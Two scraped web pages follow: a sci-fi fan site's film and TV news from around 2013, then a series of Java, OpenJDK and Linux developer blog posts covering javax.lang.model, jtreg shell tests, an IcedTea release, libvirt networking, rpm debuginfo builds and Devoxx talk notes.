text:
User login
The SadCAST Youtube Channel is now available (Click the pic to visit)
The SadCAST Blog now has all SadCASTs available to view. Click HERE or click the SadCAST link in the main menu.
Kin Dza Dza
Arguably, it's the best sci fi comedy ever made and yet it's also the most famous film that nobody has ever heard of! Kin Dza Dza is a giant of science fiction and near the top of all good sci fi movie lists. If you like good, unusual cult sci fi -you need to see this film! Checkout the SadCAST review of Kin Dza Dza or click the links below to see the film on the Mosfilm Youtube channel.
KinDzaDzaPart 1
KinDzaDzaPart 2
We are currently planning a new series of Science Fiction SadCAST's. If you are interested in taking part, please leave a message in the SadCAST forum.
Who's online
Sci Fi News
Anna Paquin, Ellen Page, Shawn Ashmore join X-Men: Days of Future Past
The cast of Bryan Singer's X-Men: Days of Future Past tonight expanded by three names.
Singer tweeted that Anna Paquin, Ellen Page and Shawn Ashmore had joined the production, which starts filming in April.
Paquin played Rogue in the original trilogy alongside Ashmore's Iceman, while Page was cast as Kitty Pryde aka Shadowcat in Brett Ratner's X-Men: The Last Stand.
Singer said he was "very excited" to welcome the trio and, referring to the fact their characters were among the survivors in The Last Stand, added: "Thank you Brett Ratner for letting them live."
Already cast in the film are Patrick Stewart, Ian McKellen and Hugh Jackman, alongside X-Men: First Class actors Michael Fassbender, James McAvoy, Nicholas Hoult and Jennifer Lawrence.
Actors have been playing it cool over their involvement in the new film, with Ashmore quoted a week ago as saying he had "no idea" if he was returning. The same message came from January Jones who has not yet been confirmed and very recently said she didn't think she was in the film.
There's also no word yet on the inclusion of Halle Berry's Storm. Berry re-teams with X-Men co-star Hugh Jackman in the huge ensemble cast of Movie 43, out in UK cinemas this weekend.
Also in the cast of Movie 43 is Liev Schreiber, who appeared alongside Hugh in X-Men Origins: Wolverine. For more about Movie 43, see my earlier report here.
Martin Freeman praises fantastic scripts on BBC's Sherlock
Martin Freeman says Sherlock is one of the best shows he has worked on.
The Hobbit actor stars in the BBC drama as Dr John Watson, alongside Benedict Cumberbatch as detective Sherlock Holmes.
"Sherlock is one of the best written things I'll ever do. If I live to 100, I won't do many things that are better written than Sherlock," he said.
"Same with The Office, which was a perfect half-hour of comedy for my taste. As a fan, I'd like it."
Martin admits he looks for both physical and intellectual challenges in roles.
"Dr John's quite physical because he's a soldier, so he's a man of action, he's handy with a gun and has been shot on the battlefield.
"When something is well written and you get to run around and fire guns and chase people but also have fantastic dialogue, that's when it's most pleasurable."
Sherlock will be back on BBC1 for a third three-part series in 2013.
Freeman - pictured above at the UK premiere of The Hobbit: An Unexpected Journey with co-star Cate Blanchett and director Peter Jackson - returns to his Bilbo Baggins role in The Hobbit: The Desolation of Smaug, released on December 13, and then the final instalment, The Hobbit: There and Back Again, out on July 18, 2014.
Ray Winstone reveals worries about Darren Aronofsky's Noah
Ray Winstone has revealed how he had initial concerns about the big screen version of Noah.
The British actor stars as nemesis Tubal-cain in Darren Aronofsky's Biblical epic opposite Russell Crowe as Noah.
"It's Noah's Ark - I laughed when it first came through. 'What am I going to do in Noah's Ark? It's a Biblical piece'.
"I laughed again when they said Russell Crowe's playing Noah - 'How can Russell play Noah?'" he admitted.
"But then I thought I've never seen Russell in a bad film. Then I read the script and I went, 'You know what? Lovely'. I turned up and had four wonderful months on a film with really clever people. I had a ball."
Noah is released on March 28, 2014.
First look at G.I. Joe: Retaliation to screen with Hansel & Gretel: Witch Hunters
The second G.I. Joe movie hits screens in a couple of months and to give you a taster of what it's like, Paramount Pictures, MGM and Skydance Productions have attached a four-minute 3D preview to the new fantasy action film Hansel & Gretel: Witch Hunters.
The first look at G.I. Joe: Retaliation in IMAX 3D, RealD 3D and digital 3D cinemas will run throughout Hansel & Gretel's theatrical engagement.
Based on the best-selling Hasbro characters, this follow-up to the 2009 release G.I Joe: The Rise of Cobra, sees the G.I. Joes not only fighting their mortal enemy Cobra, but forced to contend with threats from within the government that jeopardise their existence.
The film stars D.J. Cotrona, Byung-hun Lee, Adrianne Palicki, Ray Park, Jonathan Pryce, Ray Stevenson, Elodie Yung, Channing Tatum with Bruce Willis and Dwayne Johnson.
Directed by Jon M. Chu, and produced by Lorenzo di Bonaventura and Brian Goldner of Hasbro, from a screenplay by Rhett Reese & Paul Wernick, the movie will hit cinemas in the UK and Ireland on March 27, 2013.
Hansel & Gretel: Witch Hunters stars Jeremy Renner and Gemma Arterton as Hansel and Gretel, who, after getting a taste for blood as children, become the ultimate vigilantes, hellbent on retribution.
Unknown to them, they have become the hunted, and must face an evil far greater than witches: their past. In addition to Renner and Arterton, the film features X-Men star Famke Janssen along with Peter Stormare.
It's written and directed by Tommy Wirkola and produced by Will Ferrell, Adam McKay, Kevin Messick and Beau Flynn.
Hansel & Gretel: Witch Hunters opens in the UK and Ireland on February 27.
Geek Gossip: Terrence Malick's To The Wonder, Movie 43, The Two Faces of January
Following his impressionistic look at the meaning of human existence in 2011's The Tree of Life, filmmaker Terrence Malick has broken his habit of vanishing from the movie scene for many years by bringing us To The Wonder.
Written and directed by Malick and arriving in UK cinemas on February 22, it stars Ben Affleck, Olga Kurylenko, Rachel McAdams and Javier Bardem.
A new poster (above) has been issued for the film, which is officially described as follows:
To The Wonder is the beautiful and acclaimed latest offering from Terrence Malick, the legendary director of The Tree of Life, Badlands and Days of Heaven.
The film is centred on Neil (Ben Affleck, Argo), a man who is torn between two loves: Marina (Olga Kurylenko, Quantum of Solace), the European woman who comes to United States to be with him, and Jane (Rachel McAdams, Midnight in Paris), the old flame he reconnects with from his hometown.
Neil's doubts about his life and loves are reflected in the crisis of faith experienced by Father Quintana (Javier Bardem, Skyfall), who only sees pain and the loss of hope in the world.
In To The Wonder, Malick explores how love and its many phases and seasons - passion, sympathy, obligation, sorrow, indecision - can transform, destroy, and reinvent lives.
Here's the trailer:
Meanwhile, this Friday, January 25, sees the release of the comedy Movie 43, a series of interconnected short films following three kids as they search the internet to find the most banned movie in the world.
The directors of the project are Elizabeth Banks, Steven Brill, Steve Carr, Rusty Cundieff, James Duffy, Griffin Dunne, Peter Farrelly, Patrik Forsberg, James Gunn, Bob Odenkirk, Brett Ratner and Jonathan Van Tulleken.
And the cast includes Chloe Moretz, Emma Stone, Elizabeth Banks, Kate Winslet, Gerard Butler, Sean William Scott, Hugh Jackman, Kristen Bell, Anna Faris, Liev Schreiber, Richard Gere, Naomi Watts, Halle Berry, Justin Long, Uma Thurman, Josh Duhamel, Christopher Mintz-Plasse, Johnny Knoxville and Kieran Culkin.
Here's the official description:
Big stars. Huge comedy. Enormous balls. From the twisted minds of producers Peter Farrelly (Hall Pass, Shallow Hal) and Charles Wessler (There's Something About Mary, Dumb & Dumber), comes Movie 43 - the outrageous new ensemble comedy starring some of the biggest names in Hollywood.
Movie 43 is not for the easily-offended and contains jaw-dropping, sometimes shockingly disturbing, but always entertaining intertwined storylines you'll have to see to believe.
A set of images and the UK poster are included here, along with the trailer.
Arriving in cinemas at the end of this year - on December 18, 2013, to be exact - is thriller The Two Faces of January.
A recently-released image from the production (see below) shows Daisy Bevan, daughter of Joely Richardson and granddaughter of Vanessa Redgrave, and Oscar Isaac.
Cast before the producers even knew she was a member of the famous acting dynasty, Daisy takes on the role of Lauren, a young ingénue who falls into the clutches of a small-time conman.
Billed as a stylish international thriller, The Two Faces of January stars Oscar nominee Viggo Mortensen (The Road, Eastern Promises, A History of Violence), Golden Globe nominee and Cannes Best Actress prize-winner Kirsten Dunst (Melancholia, Marie Antoinette, Spider-Man) and Oscar Isaac (Drive, The Bourne Legacy and the Coens' forthcoming Inside Llewyn Davis).
The Two Faces of January is based on the novel of the same name by Patricia Highsmith adapted for the screen by Academy Award nominee Hossein Amini (Drive, Snow White and the Huntsman, The Wings of the Dove).
The film is the directorial debut for Amini and is produced by Tom Sternberg (The Talented Mr. Ripley) Working Title's Tim Bevan & Eric Fellner and Robyn Slovo (Tinker Tailor Soldier Spy).
Here's the official synopsis:
1962. A glamorous American couple, the charismatic Chester MacFarland (Mortensen) and his alluring younger wife Colette (Dunst), arrive in Athens by boat via the Corinthian Canal. While sightseeing at the Acropolis they encounter Rydal (Isaac), a young, Greek-speaking American who is working as a tour guide, scamming tourists on the side. Drawn to Colette's beauty and impressed by Chester's wealth and sophistication, Rydal gladly accepts their invitation to dinner.
However, all is not as it seems with the MacFarlands and Chester's affable exterior hides darker secrets. When Rydal visits the couple at their exclusive hotel, Chester presses him to help move the body of a seemingly unconscious man who he claims attacked him.
In the moment, Rydal agrees but as events take a more sinister turn he finds himself compromised and unable to pull himself free. His increasing infatuation with the vulnerable and responsive Colette gives rise to Chester's jealousy and paranoia, leading to a tense and dangerous battle of wits between the two men. Their journey takes them from Greece to Turkey, and to a dramatic finale played out in the back alleys of Istanbul's Grand Bazaar.
Bruce Boxleitner on Tron: Uprising, whether he will be in Tron 3 and rumours of Guardians of Luna
Earlier this month, sci-fi fans were stunned when storyboard artist Eric Canete indicated on Twitter (where else, these days?!) that Disney XD's Tron: Uprising - an animated sequel/prequel set between the two movies Tron and Tron: Legacy - would not be getting a second season.
As an online kerfuffle began to bubble about the show's cancellation, producer Edward Kitsis stepped in and clarified: "I don't know what the future [of Tron: Uprising] is now. I know at the present, I can say we need more viewers. The problem is, not enough people are watching it.
"At this point, I don't believe its fate has been decided. So if people keep watching, then there's still a chance. Please watch. Tell your friends."
Among the voice actors in Tron: Uprising is genre legend Bruce Boxleitner, reprising his role as Tron. So what does he have to say about the TV series, and will he be back for a third Tron movie?
It does not insult you, and I think for very small children it will go right over their heads, but visually, I think it's very exciting. I love the stylisation of it. I couldn't have had a better chin made for me. I have the greatest chin! I could go through a wall with that chin! What I love about it is Tron has aged as Bruce Boxleitner has aged. He's not the young Tron of the first movie; he's a more battle weary, older, experienced version, which I am of my former self!
It depends on the audience. Certainly if I'm at San Diego Comic-Con, or at London Expo, then for genre fans, but to a certain age group of women I'll always be Lee Stetson, the Scarecrow (in Scarecrow And Mrs King), and to Western fans I'm Luke Macahan from How The West Was Won. I've been very fortunate to do a lot of great genres, and play good characters in them. With the 30th anniversary of Tron, and with Tron: Uprising now reaching a whole new audience, I guess you could say Tron is the pre-eminent one now.
I don't know. They say yes, they say no. It's way above my pay grade to be able to tell you that. It's still a money-maker for them (Disney), and it's still a great franchise. They announced it at San Diego Comic-Con, so I'm not speaking out of school here, but it's in development, and development can take a while. We've got to get that creative team back again. I do know they're working on the story concepts and stuff like that.
I think so. I try not to count!
Yes, that was CBS's answer to Indiana Jones. Raiders Of The Lost Ark had been a big success, and it was that tried and true thing that television did. They tried to bring something similar to television, and we found this rugged old character out of the 1920s and 1930s. It was based on a real guy, Frank Buck. We kind of lifted him, brought him more towards World War Two era.
I always thought the opposite. I thought it could have gone on quite a long time. I would get into big disagreements with our creator (J Michael Straczynski) about it. I thought he was kind of shooting himself in the foot, but that was the way he wanted to do it, and ultimately it probably turned out to be the best thing. He wanted to do the five seasons; a five-year arc, and every season we never knew if we were coming back. Even by the end of the fourth season, we were convinced we weren't coming back, and then at the last minute, we got a reprieve.
Yes! How many people get to say that? Not even my neighbourhood, my house. My galaxy!
I've heard of Coronation Street, but I'll be damned! I've come over to the UK so many times in the last 20 years, mainly due to Babylon 5 because I did a lot of the big fan conventions. We had a huge following there (the UK). We were treated so well, it was amazing.
It's a non-existent project. If it happened, I certainly didn't do it. I think it's a wish list that somebody puts out there on the web. I would love to have done it, by the way. If it's still being done, I'm still available!
Fringe fans can continue exploring show's mythology with September's Notebook
Sci-fi show Fringe has just aired its final episode but you can relive the drama and mystery with a new book coming out later this month.
Warner Bros Consumer Products, Warner Bros Television Group and Fox Broadcasting Company have brought September's Notebook into our world. It will be released in hardcover by Titan Books on January 29.
In the penultimate Fringe episode The Boy Must Live, the Observer called September (guest star Michael Cerveris) revealed to Walter Bishop (John Noble) that he had been keeping a notebook of all his observations - and it's now being published as a keepsake for fans.
Fringe executive producer/showrunner J.H. Wyman said: "We couldn't have picked a better framework for this book than the Observers. Where we went this season is ultimately so Observer-heavy and it reveals some things that are really mind-blowing.
"We wanted to include the notebook in this upcoming episode, as it encompasses September's journey from beginning to end. The fact that we are able to share it with the fans, after the episode airs, is truly exciting. September's writing exhibits what he admires most about the human spirit's most beautiful quality - hope."
September chronicled not only the main characters' personal stories but also elements of the show's mythology, including the FBI's Fringe Division, Massive Dynamic, the Machine, the alternate universe and the Amber timeline.
Fringe: September's Notebook is the first comprehensive guide to the show's mythology over all five seasons. It includes exclusive photos and concept art, and reveals quirks and little-known facts about each character, insight into fringe science and much more.
Every word, sketch, photo, and official document was compiled under the guidance of series executive producer/showrunner J.H. Wyman and former executive producer Jeff Pinkner, with contributions from the Fringe production department.
Authors Tara Bennett and Paul Terry (who also co-wrote the official Lost Encyclopedia) worked with the show's production team for more than a year to develop the book.
Fringe has also spawned two six-part comic book series and an alternate reality game.
Hugh Jackman promises 'action-packed' X-Men: Days of Future Past,
Hollywood's upcoming superpowered ensembles don't just include Avengers 2, Guardians of the Galaxy and Dark Universe. There's also the hotly-anticipated new X-Men film, which begins production in April.
And as we move towards the start of filming on X-Men: Days of Future Past, speculation continues as to which other casting announcements will be made.
So far, we know that X-Men: First Class actors James McAvoy, Michael Fassbender, Jennifer Lawrence and Nicholas Hoult will be joined by original trilogy stars Patrick Stewart, Ian McKellen and Hugh Jackman. Obviously, there are more names yet to be revealed.
Jackman told the Daily Mail: "You wouldn't have enough room on the page after you've listed them all. Every other actor who's ever put on a superhero uniform will be in it.
"There's an element of time travel and, naturally, it will be action-packed," he added.
One actor who says he hasn't yet joined the project is Shawn Ashmore, who played Bobby Drake aka Iceman. He told the Huffington Post: "Honestly, at this point I have no idea. What's exciting is Bryan Singer's back, which is amazing. He was amazing to work with.
"I would love to come back and play Bobby again. I played the part three times, I got to grow up playing that part, which is incredible. It's so rare. If it happens, i would love to play that part. The moving is happening, so I have to wait and see how it all comes together."
Mark Millar, who's Twentieth Century Fox's creative consultant for its Marvel Comics adaptations, told SciFi Now he's confident this massive undertaking will all come together perfectly.
He said: "I know how it's done, so I'm not worried. I've been in all these meetings and talked about it at length with everyone, and everything I hear sounds incredibly mainstream. It's no more difficult than The Terminator, or whatever, there's one element of time jump in it, but other than that it's absolutely fine.
"It's hard for me to say without actually spoiling the movie but [producer Matthew] Vaughn - the guy who made the $28million Kick-Ass look like a $78 million movie, you know? - I completely trust him when it comes to stuff like that. He knows exactly what he's doing, and Simon Kinberg has done a phenomenal job on the screenplay with him so it's worked out really well."
On the return of Bryan Singer to the director's chair, Millar said: "It's incredibly exciting. Even just as a fan. The first X-Men really launched the wave of superhero movies we've been loving for the past decade after some horrific stuff in the 90s so having him back in the world he started just feels right.
"X2, I think, is one of the greatest superhero movies ever made. The idea of this guy being back in the fold and planning something as ambitious as this picture can only be good news."
And he adds that, despite Jackman's earlier teasing about a huge cast, some of the previous films suffered from having too many undeveloped characters.
"I remember when I was writing Ultimate X-Men and people were saying 'I want to see Gambit, I want to see Rogue," recalls Millar. "Everybody has a list, and at first you think 'I'm going to please everyone' and then you realise you're pleasing no-one by just throwing in 10-second cameos, you know.
"I think that was the major problem with that first Wolverine movie and X-Men 3. Bryan Singer did such an incredible job with that original movie - it's quite like Star Wars in that there's Episodes IV, V and VI, and we've got the Matthew Vaughn prequels, and I love that - I love the fact that it simplifies so well. X-Men in the 90s was so convoluted in comic-book terms, and Bryan drove a knife through it and make it work and simplified the whole thing.
"I'd like to have that same approach and if we are bringing in a character then it shouldn't just be for a trailer or to get a picture up online, get people excited, it should actually have a point in the story.
"The trick with that is to try and keep the cast relatively small so that you actually care about them."
X-Men: Days of Future Past is set for release in July 2014.
Avengers 2 will dig deeper, Guardians of the Galaxy to film in UK, Del Toro confirms Dark Universe
Studios are busy assembling several superhero team movies including the sequel to Marvel's 2012 blockbuster The Avengers, which was released as Avengers Assemble in the UK.
Although no details of the plot are known, a release date of May 1, 2015, has been booked. In addition, director Joss Whedon has told MTV he is expecting to finish the script in a couple of months.
On how he plans to follow up the first film, he said: "Don't go bigger; go deeper. All of these people have met, so you have that out of the way. Now you can spend your time just digging in - and by digging in, I mean with a scalpel, to cause pain."
Marvel is also working on an adaptation of its cosmic comic Guardians of the Galaxy and, according to ScreenDaily, director James Gunn (pictured above) will be filming it at Shepperton Studios in the UK over the summer.
No casting has yet been announced, despite a flurry of names mentioned as contenders for the lead role of Star-Lord.
Warner Bros is also planning some supergroup action, with rumours of a Justice League movie on the way. In addition, a more supernatural counterpart is being developed, based on the DC comic Justice League Dark.
Guillermo del Toro has confirmed he is developing the project, called Dark Universe and previously rumoured to be called Heaven Sent.
"I'm working on it," del Toro told IGN. "I'm writing the outline and we're already in talks with a writer. A very, very good writer.
"People are probably going to be happy with who we have chosen. He accepted. I've been courting this writer, who I think is the perfect guy for this job. We're doing it. Hopefully it will happen."
The line-up will include Swamp Thing, The Demon, John Constantine, Deadman, The Spectre, Zatara and Zatanna.
The filmmaker insisted it wasn't triggered by Marvel's blockbuster success: "The movement for this happened before [The Avengers]. They were already galvanised to launch Justice League and make their universe cohesive. They are very, very confident with what they have.
"They are now feeling they have two pillars. Batman and Superman - there's a foundation they can build on."


text:
Back when the javax.lang.model
API was being designed as part of JSR 269, while the API was primarily intended for use at compile-time with annotation processing, the expert group also wanted the API to be usable in other contexts as well, including at runtime.
JEP 119, javax.lang.model Implementation Backed by Core Reflection, proposed adding such an alternative runtime implementation of javax.lang.model
to JDK 8. Such an implementation has recently been pushed as sample code in the JDK 8 langtools repository.
At a high level, the sample code is at its core repeated uses of the adapter pattern, translating between the core reflection API and the javax.lang.model
However, there were a number of design issues in what interface the javax.lang.model
implementation for core reflection should expose.
First, should a core reflection specialization of javax.lang.model
expose a more specific interface? There are some advantages to just implementing the base API defined in the existing interfaces; it is the simplest approach and would appear to maximize the ability to inter-operate with other implementations. However, javax.lang.model
depends on hidden state to define concepts like equality, so there is intrinsically limited inter-operation between disjoint implementations. Therefore, especially in sample code, it was viewed as worthwhile to experiment with a more specific API in the core reflection case.
To make the javax.lang.model
backed by core reflection more specific, for each FooElement
interface in javax.lang.model.element
, a ReflectionFooElement
subinterface was defined, as shown in the diagram below.
The subinterfaces are specialized in a few ways:
, a covariant override in the subinteface was defined to return a ReflectionFooElement
List< ? extends FooElement>
, a covariant override in the subinteface was defined to return a List<ReflectionFooElement>
getBar(FooElement arg)
methods defined in the Elements
helper interface, add a getBar()
method to the ReflectionFooElement
method to the root ReflectionElement
interface to return the underlying core reflection object being adapted and add covariant overrides in subinterfaces as appropriate.
interface implements the full AnnotatedElement
interface, not just the subset of its methods found in the base javax.lang.model.element
A cost of specializing the API is the need to define a new visitor interface as well. Covariant overrides cannot be used as in the element modeling interfaces since the visitor methods take elements in the argument position rather than the return position.
Generally, working on the core reflection specialization proceeded as expected.
Equality determinations were generally delegated to core reflection source object; in other words, two ReflectionElement
objects are equal if they are instances of the same interface and if their sources are .equals
Writing the sample code highlighted several shortcomings of the core reflection API which have been addressed in Java SE 8, including the addition of an Executable
type to abstract over the commonalities of Method
and Constructor
The sample code also benefited from other reflection changes in Java SE 8, such as the introduction of a java.lang.reflect.Parameter
class and retrofitting TypeVariable
to extend AnnotatedElement
While significantly more testing would be needed to productize javax.lang.model
backed by core reflection, even as sample code it validates a number of the technological decisions made in JSR 269 and is an interesting demonstration of how one of the platform's reflective APIs can be bridged to another.
jtreg provides support for various different types of tests. API tests can use "@run main
", simple compiler tests can use "@compile
", and simple GUI or applet tests can use "@run applet
And then there's the ubiquitous "misc" or "other" category, for which "@run shell
" is provided. However, there are a number of reasons why not to use "shell tests", and recently we made another step forward to reduce the use of shell tests in the langtools repository.
Perhaps the most significant issue is that of cross-platform portability, and related to that, which shell environment to use? Initially, on Windows the requirement was to use MKS, but recently, Cygwin has become the standard. Both of these have suble and not so subtle differences to shell environments on Unix-like platforms, which lead to subtle rules about being careful about which commands to use and not use, or to large cut-n-paste blocks of text at the head of a script to set up platform-specific variables such as FS (for the file separator) and PS (for the path separator). These blocks of text had to be updated when the Mac became a standard supported platform, and are potentially a source of issues in the context of porting OpenJDK to other platforms.
A corollary is that it is difficult to write and test a reliable cross-platform test in a shell script. In the early days of Java, it was common for JDK developers to have a collection of machines under their desk, so that tests could be run on all supported platforms. That was both expensive and inefficient. Even today, with virtualization, it is still problematic to run tests on all supported platforms, and so it is better to write tests such that the test more likely to work across all supported platforms.
Another issue is that it can be hard to write a shell script that works well in the face of potential failure of the commands that it executes. It is easy to write a shell script that assumes everything works as expected; it is much harder to (remember to) program defensively that some commands might fail. And when a command fails, you need to be able to verify that it failed for the right reason.
Even worse than the points in the preceding paragraphs, it is hard to write a good test in shell script, period. The inverse may be more obviously true: it is far too easy to write a bad test in shell script, that will not behave as expected. Executing the command "java" will look for the command on your PATH, which is almost certainly not the version you should be using, which is probably ${TESTJAVA}/bin/java. Executing a command like "rm stuff" at the end of the script will likely succeed, and will make the test appear to succeed, even if preceding commands have failed. And on Windows, you need to be very careful to understand the differences in the way that Cygwin and Java handle filenames and paths.
Finally, there is the issue of performance. Driven by the desire for higher quality, that has meant wanting to run more tests more often, and that has led to wanting to run the tests faster [1, 2]. The Java/shell boundary is an impenetrable performance barrier. Even if the shell script invokes Java commands, they're each still in a different/fresh/cold new JVM, which means you lose the potential benefit of any JVM optimizations. Now, sometimes it is indeed necessary for the test to start a new JVM – for example, to run a program in a JVM with a particular set of JVM options – but that is often not the case, especially in the langtools world testing programs like javac, javadoc, and so on. Writing a test in Java gives you the choice of when to stay within the same JVM and when to start a new one; writing a test as a shell script, you have no such choice.
As you can see illustrated in the graph above, there have been three significant reductions in the number of shell tests in the langtools repository.
The first major reduction followed an analysis of the reasons that shell scripts were being used. It turned out that a significant number of shell tests were running javac, and then using diff
to compare the console output from javac against a so-called golden file containing expected output. Supposedly, jtreg directly supported such a feature, but in reality, it did not work well enough to be useful, and so shell tests were being used to worked around that issue. Once the tool was fixed, it became possible to replace a whole category of shell tests with tests that were equivalent, or better, using other jtreg action tags.
The second major reduction in the number of shell tests followed the removal of the apt
early in the development cycle for JDK 8. The tests for the tool were relatively complex, and a legitimate use of shell tests, although if the tool had not been scheduled for removal, it would have been worth rewriting these tests in Java. As it was, it was easier to wait for the tool to be removed, and to remove the tests along with it.
While the first two big reductions in the number of shell tests were significant, they were both the result of special circumstances -- working around bugs in jtreg, and the result of not needing the tests any more. The most recent reduction in the number of shell tests is of more general interest, since it is a more general purpose solution.
In the early days, Java was not a mature enough platform to consider writing the equivalent of shell scripts in Java. In addition, the default jtreg execution mode was "othervm", and it was much faster to run a shell script than it was to start up a new virtual machine just to sequence through the actions of a test that would in turn typically require even more virtual machines to be started.
Times change. The Java platform has matured, and it is now common to use jtreg to run tests in "samevm" or "agentvm" mode, which means that the cost of running a Java class to execute the steps of a test is much less than it was before. New language features (like try-with-resources) and new API (like java.lang.ProcessBuilder and java.nio.file.*) mean that is easier then ever before to use Java to perform a series of steps for which might have have previously considered using a shell script.
Attitudes change too. With hindsight, the initial simplicity of writing a shell test is a short term benefit compared to the long term maintenance cost. An equivalent Java program may have a higher initial cost, such as making you consider checked exceptions, but this can provide benefits later on, such as better detection and reporting of faults when something eventually does go wrong, years later.
With all this in mind, a recent addition to the LangTools team, Vicente Romero, took on the task of analysing the remaining shell scripts in the langtools test suite, with the goal of writing a library of useful methods, such that it was relatively easy to translate each shell script into an equivalent Java program. The result is a class we called ToolBox, and it provides equivalents for the commands we were previously using in our shell scripts. Some methods fork processes as needed; other methods can be implemented directly in the library, leveraging standard Java API.
The work to develop the ToolBox library has been a success and as a result, we converted a significant numer of the remaining shell tests in the langtools test suite to Java code. A few tests did not fit into the pattern of the rest of the tests, and will need to be re-examined before we can truly declare a shell-free test zone.
There is something of a hidden cost here, however: after all, nothing comes for free. The cost is that the tests all depend on a common shared library. In the early days, it was regarded as very important that tests should be as standalone as possible, such that they can be run and issues debugged outside the context of the test harness. That is maybe less important these days, and we see the use of standard test frameworks, like TestNG, and custom test frameworks, like JavadocTester for javadoc tests, and now ToolBox for shell-like tests. The cost is that we need to be careful (as with any library code) that if we change or evolve the API, we do not break existing clients.
Can we use ToolBox in other test suites, such as the main jdk regression suite? Yes, and no. First and foremost, those tests are in a different repository, and sharing across a repository boundary would be problematic. More significantly however, the code in the langtools ToolBox is customized to the needs of the langtools tests. Although the concept of the ToolBox class should be applicable to the jdk regression test suite, it is likely that an analysis of the shell scripts in that test suite would lead to a different set of utility methods in a jdk version of ToolBox. However, I am confident that if someone were to do so, they would see the same advantages in that test suite that we have seen in the langtools test suite.
1. Speeding up tests: a langtools milestone
2. Speeding up tests again: another milestone
The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a PulseAudio sound driver and support for alternative virtual machines.
This release updates our OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.1.x branch upgrade to this latest release as soon as possible. The security fixes are as follows:
In addition, IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures.
If you find an issue with the release, please report it to our bug database under the appropriate component. Development discussion takes place on the distro-pkg-dev OpenJDK mailing list and patches are always welcome.
Full details of the release can be found below.
The tarball can be downloaded from:
SHA256 checksum:
The tarball is accompanied by a digital signature available at the above 'sig' link. This is produced using my public key. See details below.
The following people helped with these releases:
We would also like to thank the bug reporters and testers!
To get started:
$ tar xzf icedtea-2.1.8.tar.gz $ cd icedtea-2.1.8
Full build requirements and instructions are in INSTALL:
$ mkdir icedtea-build $ cd icedtea-build $ ../icedtea-2.1.8/configure [--enable-zero --enable-pulse-java --enable-systemtap ...] $ make
If you are setting up VMs using libvirt then it's a good idea to change the address of the virtual network to something other than the default. Why? Because if you don't, and you create a guest which itself starts up libvirt and uses NetworkManager then at least some of the time your VM will start up with its networking hosed.
If the host is using the default network (192.168.122.0/24) and the guests also want to use that network then there is a race between NetworkManager bringing up eth0 and libvirt bringing up virbr0. libvirt checks for existing interfaces using the network it is configured for before starting up virbr0, so if NetworkManager brings up eth0 first then virbr0 will not be set up on the guest and everything will be fine. But, if eth0 is not set up by the time libvirt runs the check, then virbr0 will take 192.168.122.0/24, then eth0 will come up on 192.168.122.something, and you'll have a VM with two separate interfaces connected to two separate networks that both have the same address range… and it won't work!
The easy way to solve this is to not install libvirt on the guest, but you may not be able to change this until after the guest is running, and if libvirt starts up during a guest's installer then you may need to complete parts of the installation with no networking. This may or may not be ok for you and your OS. I'm using VMs to set up clean test environments for GDB, and at the moment I'm setting up three or four new "machines" every day (and throwing them away when I'm done) so I want the process as streamlined as possible. If you only occasionally set up new VMs then some extra tasks during the installation may not be a problem, but it is pretty simple to change the network on the host and you only have to do it once:
virsh net-edit default
to something elsevirsh net-destroy default
virsh net-start default
It's a shame this can't be fixed more conclusively elsewhere, but NetworkManager brings up the interfaces asynchronously at boot time which makes it impossible to definitively schedule libvirt's startup to happen after NetworkManager.
Thank you Laine Stump for helping me out with this.
Have you experienced the mysterious error, "Only dest dir longer than base dir not supported"?
I have.
The Problem
When you build an rpm, the code is built in %{_builddir}
, which usually evaluates as %{_topdir}/BUILD
, which in turn evaluates as something like /home/you/rpmbuild/BUILD
. The built code (if built with GCC) ends up with loads of /home/you/rpmbuild/BUILD
paths embedded in it, and the script /usr/lib/rpm/debugedit
rewrites these paths to /usr/src/debug
so that the debuginfo rpms work. /usr/lib/rpm/debugedit
cannot extend strings, it can only shrink them. If you are seeing "Only dest dir longer than base dir not supported" then, somewhere in your build system, %{_builddir}
is defined as something that expands to a string shorter than /usr/src/debug
In my case, I was building a glibc rpm in a VM that turned out not to have enough disk. I created a new disk, mounted it on /mnt
, and added the line %_topdir /mnt
to my ~/.rpmmacros
. The result? "Only dest dir longer than base dir not supported". I fixed it by editing ~/.rpmmacros
to say %_topdir /mnt/rpmbuild
/usr/src/debug # the reference /mnt/BUILD # too short! /mnt/rpmbuild/BUILD # long enough
Thank you,
The Mgt.
At Devoxx France 2013, I attended to conference titled « Architecting for Continuous Delivery » presented by Axel Fontaine.
Facebook, Flickr and Stack Overflow are going in production many times per day and thus they do continuous delivery. Note : we can see that Stack Overflow's version number is in the footer of pages.
Continuous delivery can't be done from a snapshot version in order to allow reproducibility. So, the cycle is : run the tests, release a new version and deploy into the continuous delivery environment.
When the deployment is done manually, it must be automated. The deployed version must contain application binaries, differences between databases, as well as configuration for all environments (integration, acceptance test, production …). Environment detection must be automatic, by using an environment variable, a file located at a given place …
Axel advices to choose a tool managing database versions and execution order of scripts :
Feature toggle allows to avoid creation of branches (and therefore merge of branches and duplication of continuous integration environments). It offen means adding a 'if' in the source code, which avoids breaking existing code. Old code will be removed later when everything will be ok in production.
In order to survive an eventual server crash and maintain a web site always on, 2 computers must be used.
While deploying in production, one computer is used for deployment of the new version, connected to the same database. Compatibility of the old server with the database must be ensured : instead of renaming a column, another one must be added together with a trigger copying the old column to the new one. The old column and the trigger will be dropped later. For a web application running under tomcat, usage of a shared session cache like memcached-session-manager allows to preserve active sessions. Each computer host a tomcat instance and a memcached instance. The switch to the new version is done totally transparently for users.
At Devoxx France 2013, I attended to conference titled « Demining an application with JRockit Mission Control » presented by François Ostyn.
JRockit Mission Control is a tool for the JRockit JVM providing :
In order to maintain a single JVM, Oracle has created the HotRockit project to merge JRockit et Hotspot. Its results will be progressively integrated into Hotspot.
Since Java SE 7 update 4, Hotspot has same metrics as JRockit, which allows to use JRockit Mission Control with Hotspot. This one can be used 2 ways : with an eclipse plugin or with a command line.
Thanks to the eclipse plugin, Memleak analyser detects when the number of class instances is increasing and can visualize the call stack. After a run, Flight recorder can get event list in order to display heap and processor usage … In disconnected mode, it can also display memory leaks but not the graph of calls (visible only in connected mode).
The jcmd command (called jrcmd in JRockit) allows to run same queries as eclipse plugin. It can generate a .jfr file displayable with the eclipse plugin.
